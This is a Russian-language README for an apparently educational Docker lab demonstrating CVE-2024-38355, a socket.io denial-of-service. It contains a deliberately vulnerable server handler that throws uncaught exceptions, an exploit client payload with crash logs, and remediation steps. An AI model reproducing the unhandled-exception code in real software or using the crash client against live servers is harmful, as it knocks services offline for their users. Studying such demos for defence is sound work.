Демонстрация CVE-2024-38355 (Крах Socket.IO)

Этот проект является доказательством концепции, демонстрирующим CVE-2024-38355 — уязвимость типа «отказ в обслуживании» в socket.io. Проект создан в образовательных целях, чтобы показать механизм атаки и способы защиты приложений.

Об уязвимости (CVE-2024-38355)

Эта уязвимость затрагивает следующие версии socket.io:

• < 2.5.1
• >= 3.0.0, < 4.6.2

Специально сформированный пакет Socket.IO может вызвать неперехваченное исключение на сервере, что приводит к краху процесса Node.js. Результатом является атака типа «Отказ в обслуживании» (Denial of Service, DoS).

Как это работает:

1. Клиент нормально подключается к серверу Socket.IO.
2. Клиент отправляет вредоносное событие/пакет, которое вызывает ошибку на сервере.
3. Если код сервера генерирует исключение (например, при обработке недоверенного ввода) и на сокете отсутствует обработчик ошибок, неперехваченное исключение приводит к краху всего процесса Node.js.
4. Сервер становится недоступным для всех пользователей.

Ключевые факторы:

• Отсутствие обработчика события error на сокете
• Серверный код, который может генерировать исключения при обработке данных клиента
• Отсутствие глобального обработчика неперехваченных исключений

Структура проекта

Проект состоит из двух Docker-контейнеров:

1. vulnerable-server: Сервер Node.js, использующий уязвимую версию [email protected]. Он содержит обработчик событий, который может генерировать неперехваченное исключение при получении вредоносных данных.
2. exploit-client: Скрипт Node.js, который подключается к серверу, сначала тестирует нормальную работу, а затем отправляет полезную нагрузку, вызывающую крах сервера.

Требования

• Docker
• Docker Compose

Или альтернативно:

• Node.js 18+
• npm

Как запустить

Вариант 1: Использование Docker Compose (рекомендуется)

Откройте терминал в корневой директории проекта и выполните:

docker-compose down
docker-compose build --no-cache
docker-compose up

Это позволит:

1. Собрать образы для сервера и клиента.
2. Запустить сервер на порту 3000.
3. Запустить клиент эксплойта, который автоматически атакует и вызовет крах сервера.

Вариант 2: Локальный запуск (без Docker)

Терминал 1 - Запуск сервера:

cd server
npm install
npm start

Терминал 2 - Запуск эксплойта:

cd exploit
npm install
npm start

Ожидаемый вывод

Логи сервера:

[SERVER] Running on port 3000. Waiting for connections...
[SERVER] Client connected: <socket-id>
[SERVER] Processing data: {"message":"Hello, normal request"}
[SERVER] Client disconnected: <socket-id>
[SERVER] Client connected: <socket-id>
[SERVER] Processing data: {"trigger":"crash"}
/app/index.js:24
            throw new Error('Uncaught exception triggered by malicious packet');

Логи эксплойта:

[EXPLOIT] CVE-2024-38355 Proof of Concept
[EXPLOIT] Targeting http://vulnerable-server:3000...

[STEP 1] Testing normal connection...
[STEP 1] Connected successfully.
[STEP 1] Received response: {"status":"processed","data":{"message":"Hello, normal request"}}

[STEP 2] Sending malicious payload to trigger CVE-2024-38355...
[STEP 2] Connected. Sending crash trigger...
[STEP 2] Payload sent! Waiting for server to crash...
[STEP 2] Disconnected (server may have crashed).

[STEP 3] Checking if server is still alive...
[RESULT] SUCCESS! Server is unreachable: xhr poll error

Остановка

Нажмите Ctrl+C или выполните:

docker-compose down

Анализ кода

Уязвимый сервер (server/index.js)

socket.on('process_data', (data) => {
    // VULNERABLE: No try-catch, no error handler on socket
    if (data && data.trigger === 'crash') {
        throw new Error('Uncaught exception');  // Crashes the process!
    }
});

Эксплойт (exploit/exploit.js)

// Send malicious payload that triggers the crash
socket.emit('process_data', { trigger: 'crash' });

Как исправить?

Чтобы защитить ваше приложение от этой уязвимости:

1. Обновите socket.io до версии 4.6.2 или новее (исправление добавляет обработчик ошибок по умолчанию).

2. Всегда прикрепляйте обработчики ошибок к сокетам:

   socket.on('error', (err) => {
       console.error('Socket error:', err);
       // Handle gracefully, don't let it crash the server
   });
   

3. Оборачивайте обработчики событий в try-catch:

   socket.on('process_data', (data) => {
       try {
           // Process data safely
       } catch (err) {
           console.error('Error processing data:', err);
           socket.emit('error_response', { message: 'Invalid data' });
       }
   });
   

4. Добавьте глобальный обработчик неперехваченных исключений (как крайнюю меру):

   process.on('uncaughtException', (err) => {
       console.error('Uncaught Exception:', err);
       // Log and gracefully shutdown
   });
   

Ссылки

• CVE-2024-38355 на NVD
• Консультация по безопасности GitHub GHSA-25hc-qcg6-38wj
• Коммит исправления

---

Проект создан в образовательных целях.